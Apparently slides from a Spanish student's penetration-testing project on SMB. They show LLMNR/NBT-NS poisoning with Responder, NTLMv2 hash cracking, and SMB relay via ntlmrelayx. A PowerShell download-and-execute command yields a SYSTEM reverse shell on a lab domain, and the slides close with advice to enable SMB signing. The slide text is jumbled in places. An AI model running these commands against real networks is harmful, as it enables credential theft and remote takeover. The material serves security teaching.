# Pentesting SMB PFG ASIR Adrián Díaz Aguilar

## Pentesting SMB PFG ASIR Adrián Díaz Aguilar

### IES GONZALO NAZARENO

Índice

- 1. Definiciones
- 2. LLMNR/NBT-NS poisoning
- 3. SMB Relay
- 4. MITM6 + Proxychains (Demo)
- 5. Recomendaciones



<u>SMB</u>

SMB (Server Message Block) es un protocolo que controla el acceso a archivos y directorios, así como a otros recursos de red, como impresoras, rúteres...



### LLMNR/NBT-NS

Son servicios propios de dominios de Windows, actúan como una alternativa para identificar a los activos. LLMNR se puede asociar como un DNS, permite a los activos de una misma red usar resolución de nombres. NBT-NS se usa para identificar a través del nombre NetBIOS.



#### **Bosque**

Es una construcción lógica que el servicio de nombres de directorio activo usa para agrupar uno o más dominios.

#### LLMNR/NBT-NS Poisoning

Lo que queremos lograr es lo siguiente:



#### LLMNR/NBT-NS Poisoning

Identificamos los activos a través de crackmapexec, permitiéndonos visualizar aquellos con la firma deshabilitada.

s4dbrd@Innotec:~/Documentos/PFG\$ cme smb 192.168.1.0/24						
SMB	192.168.1.187	445	DC01	[*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:gonzalonazareno.org) (signing:True) (SMBv1:False)		
SMB	192.168.1.191	445	PC-MVAZQUEZ	[*] Windows 10.0 Build 19041 x64 (name:PC-MVAZQUEZ) (domain:gonzalonazareno.org) (signing:False) (SMBv1:Fals		
SMB	192.168.1.189	445	PC-ADIAZ	[*] Windows 10.0 Build 19041 x64 (name:PC-ADIAZ) (domain:gonzalonazareno.org) (signing:False) (SMBv1:False)		

Corremos la herramienta Responder, esta se encargará de envenenar todo el tráfico LLMNR, NBT-NS, DNS...

s4dbrd@Innotec:~/Docu	<pre>mentos/PFG\$ sudo python3 /opt/Responder/Responder.py -I wlo1 -dw -v </pre>
NBT-NS, LL Author: Laurent Gaf To kill this <u>scrip</u> t	MNR & MDNS Responder 3.1.1.0 fie (laurent.gaffie@gmail.com) hit CTRL-C
[+] Poisoners: LLMNR NBT-NS MDNS DNS DHCP	[ON] [ON] [ON] [ON] [ON]

## LLMNR/NBT-NS Poisoning

Cuando un usuario acceda a un recurso inexistente, nuestro equipo atacante responderá a dicha solicitud, logrando que se envíe el hash NTLMv2 de autenticación.



#### Contraseña crackeada:

En nuestro equipo:

s4dbrd@Innotec:~/Documentos/PFC\$ sudo ~/src/john/run/john --wordlist=/opt/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 8 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
Password123! (adiaz)

#### SMB Relay

Esta técnica nos permite realizar un relaying del hash tras envenenar el tráfico LLMNR/NBT-NS y autenticarnos contra otro activo en el cual tenga privilegios de administrador, pudiendo realizar **cualquier acción**.

s4dbrd@Innotec:~/Documentos/PFG\$ cme smb 192.168.1.0/24 -u 'adiaz' -p 'Password123!'							
SMB	192.168.1.187	445	DC01	[*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:gonzalonazareno.org) (signing:True) (SMBv1:False)			
SMB	192.168.1.189	445	PC-ADIAZ	[*] Windows 10.0 Build 19041 x64 (name:PC-ADIAZ) (domain:gonzalonazareno.org) (signing:False) (SMBv1:False)			
SMB	192.168.1.191	445	PC-MVAZQUEZ	[*] Windows 10.0 Build 19041 x64 (name:PC-MVAZQUEZ) (domain:gonzalonazareno.org) (signing:False) (SMBv1:False)			
SMB	192.168.1.187	445	DC01	[+] gonzalonazareno.org\adiaz:Password123!			
SMB	192.168.1.189	445	PC-ADIAZ	[+] gonzalonazareno.org\adiaz:Password123!			
SMB	192.168.1.191	445	PC-MVAZQUEZ	[+] gonzalonazareno.org\adiaz:Password123! (Pwn3d!)			

#### Realizaremos los siguientes pasos para obtener una shell en el equipo

s4dbrd@Innotec:~/Documentos/PFG\$ sudo python3 /opt/Responder/Responder.py -I wlo1 -dw 1. Envenamos el tráfico LLMNR/NBT-NS	s4dbrd@Innotec:-/Documentos/PFG\$ sudo python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) 2. Creamos un servidor HTTP en python para compartir el fichero ps1 malicioso		
s4dbrd@Innotec:~/Documentos/PFG\$ sudo python3 /opt/impacket/examples/ntlmrelayx.py -tf targe -smb2support -c "powershell iex(new-object net.webclient).downloadString('http://192.168.1.1	ets.txt 149')"	s4dbrd@Innotec:~/Documentos/PFG\$ nc -nlvp 5656 Listening on 0.0.0.0 5656	
4. Nos aprovechamos del SMB Relay para ejecutar un comando que interpretará el fichero .ps1 y nos enviará una Shell			

Cuando el usuario que tiene privilegios sobre el activo acceda a un recurso inexistente, podremos ver lo siguiente en nuestro equipo:

<pre>[*] [LLMNR] Poisoned answer sent to fe80::a96f:9de1:32e1:9b6f for name prueba123 [*] [MDNS] Poisoned answer sent to fe80::a96f:9de1:32e1:9b6f for name prueba123.local [*] [LLMNR] Poisoned answer sent to ::ffff:192.168.1.189 for name prueba123 [*] [LLMNR] Poisoned answer sent to fe80::a96f:9de1:32e1:9b6f for name prueba123 [*] [LLMNR] Poisoned answer sent to ::ffff:192.168.1.189 for name prueba123 [*] [MDNS] Poisoned answer sent to ::ffff:192.168.1.189 for name prueba123.local [*] [MDNS] Poisoned answer sent to ::ffff:192.168.1.189 for name prueba123.local [*] [MDNS] Poisoned answer sent to fe80::a96f:9de1:32e1:9b6f for name prueba123.local [*] [MDNS] Poisoned answer sent to fe80::a96f:9de1:32e1:9b6f for name prueba123.local [*] [MDNS] Poisoned answer sent to fe80::a96f:9de1:32e1:9b6f for name prueba123.local [*] [LMNR] Poisoned answer sent to fe80::a96f:9de1:32e1:9b6f for name prueba123.local [*] [LLMNR] Poisoned answer sent to fe80::a96f:9de1:32e1:9b6f for name prueba123.local [*] [LLMNR] Poisoned answer sent to fe80::a96f:9de1:32e1:9b6f for name prueba123.local [*] [LLMNR] Poisoned answer sent to fe80::a96f:9de1:32e1:9b6f for name prueba123.local [*] [LLMNR] Poisoned answer sent to fe80::a96f:9de1:32e1:9b6f for name prueba123.local [*] [LLMNR] Poisoned answer sent to fe80::a96f:9de1:32e1:9b6f for name prueba123.local [*] [LLMNR] Poisoned answer sent to fe80::a96f:9de1:32e1:9b6f for name prueba123 [*] [LLMNR] Poisoned answer sent to fe80::a96f:9de1:32e1:9b6f for name prueba123 [*] [LLMNR] Poisoned answer sent to fe80::a96f:9de1:32e1:9b6f for name prueba123 [*] [LLMNR] Poisoned answer sent to fe80::a96f:9de1:32e1:9b6f for name prueba123 [*] [LLMNR] Poisoned answer sent to fe80::a96f:9de1:32e1:9b6f for name prueba123 [*] [LLMNR] Poisoned answer sent to fe80::a96f:9de1:32e1:9b6f for name prueba123 [*] [LLMNR] Poisoned answer sent to fe80::a96f:9de1:32e1:9b6f for name prueba123 [*] [LLMNR] Poisoned answer sent to fe80::a96f:9de1:32e1:9b6f for name prueba123 [*] [LLMNR] Poisoned answer sent to fe80::a96f:9de1:</pre>	<pre>s4dbrd@Innotec:-/Documentos/PFC\$ sudo python3 -m http.server Serving HTTP on 0.0.0 port 8000 (http://0.0.0.0:8000/) 192.168.1.191 - [08/Jun/2022 20:35:08] code 404, message File not found 192.168.1.191 - [08/Jun/2022 20:35:08] "GET /shell.ps1 HTTP/1.1" 404 - 192.168.1.191 - [08/Jun/2022 20:35:51] "GET /shell.ps1 HTTP/1.1" 200 -</pre>
<pre>[*] HTTPD(80): Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there are not e targets left! [*] HTTPD(80): Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there are not e targets left! [*] SMBD-Thread-16: Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there o more targets left! [*] SMBD-Thread-17: Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there o more targets left! [*] SMBD-Thread-17: Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there o more targets left! [*] SMBD-Thread-18: Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there o more targets left! [*] SMBD-Thread-18: Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there are not targets left! [*] HTTPD(80): Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there are not targets left! [*] SMBD-Thread-20: Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there o more targets left! [*] SMBD-Thread-21: Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there o more targets left! [*] SMBD-Thread-21: Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there o more targets left! [*] SMBD-Thread-21: Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there o more targets left! [*] SMBD-Thread-21: Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there o more targets left! [*] SMBD-Thread-22: Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there o more targets left!</pre>	<pre>no mor s4dbrd@Innotec:~/Documentos/PFG\$ nc -nlvp 5656 Listening on 0.0.0 5656 Connection received on 192.168.1.191 53698 Windows PowerShell running as user PC-MVAZQUEZ\$ on PC-MVAZQUEZ are n Copyright (C) 2015 Microsoft Corporation. All rights reserved. are n PS C:\Windows\system32&gt;whoami nt authority\system are n PS C:\Windows\system32&gt; hostname PC-MVAZQUEZ no mor PS C:\Windows\system32&gt; ipconfig are n Configuraci?n IP de Windows are n Adaptador de Ethernet Ethernet0: are n</pre>
<pre>o more targets left! [*] HTTPD(80): Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there are ne targets left! [*] SMBD-Thread-24: Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there o more targets left! [*] SMBD-Thread-25: Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there o more targets left! [*] SMBD-Thread-26: Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there o more targets left! [*] SMBD-Thread-26: Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there o more targets left! [*] SMBD-Thread-27: Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there o more targets left!</pre>	Sufijo DNS espec?fico para la conexi?n : NO MOR NO MOR V?nculo: direcci?n IPv6 local : fe80::ddd1:95e6:51e7:d59%13 Direcci?n IPv4 : 192.168.1.191 are n M?scara de subred : 255.255.255.0 Puerta de enlace predeterminada : 192.168.1.1 are n Adaptador de Ethernet Conexi?n de red Bluetooth: are n Estado de los medios : medios desconectados Sufijo DNS espec?fico para la conexi?n : PS C:\Windows\system32>

## **MITM6 + Proxychains**



### Recomendaciones

Se debe habilitar la firma en todos los activos pertenecientes al dominio, para ello, deberemos de modificar las siguientes claves:

Equipo\HKEY_LOCA	AL_MACHINE\SYSTE	M\CurrentControlSet\Services\LanmanServer	\Parameters	
	iphlpsvc A IPMIDRV IPNAT IPT IpxlatCfgSvc isapnp iScsiPrt ItSas35i	Nombre (Predeterminado) autodisconnect EnableAuthenticateUserSharing enableforcedlogoff enablesecuritysignature Guid	Tipo REG_SZ REG_DWORD REG_DWORD REG_DWORD REG_DWORD REG_BINARY	Datos (valor no establecido) 0x0000000f (15) 0x00000000 (0) 0x00000001 (1) 0x00000000 (0) c6 ed fb 33 ed 3d a0 4c b0 8b d0 0f 52 ae b7 f7
	kbdclass kbdhid kbldfltr kdnic Keylso	Requiresecuritysignature     Representation of the second se	REG_MULT_SZ REG_DWORD REG_DWORD REG_EXPAND_SZ REG_DWORD	0x00000000 (0) 0x00000001 (1) %SystemRoot%\system32\srvsvc.dll 0x00000001 (1)

Modificando su valor a 1 (Activado) y reiniciando los equipos, observaremos como nos reporta que la firma se encuentra habilitada:

s4dbrd@Innotec:~\$ cme smb 192.168.1.0/24							
SMB	192.168.1.191	445	PC-MVAZQUEZ	[*] Windows 10	0 Build 19041		
x64	(name:PC-MVAZQUEZ) (do	main:go	onzalonazareno.org)	) (signing:True)	(SMBv1:False)		
SMB	192.168.1.187	445	DC01	[*] Windows 10.	0 Build 17763		
x64	(name:DC01) (domain:go	nzalona	azareno.org) (signi	ing:True) (SMBv1	:False)		
SMB	192.168.1.190	445	PC-ADIAZ	[*] Windows 10	.0 Build 19041		
x64	(name:PC-ADIAZ) (domai	n:gonza	alonazareno.org) (s	signing:True) (SM	MBv1:False)		



# GRACIAS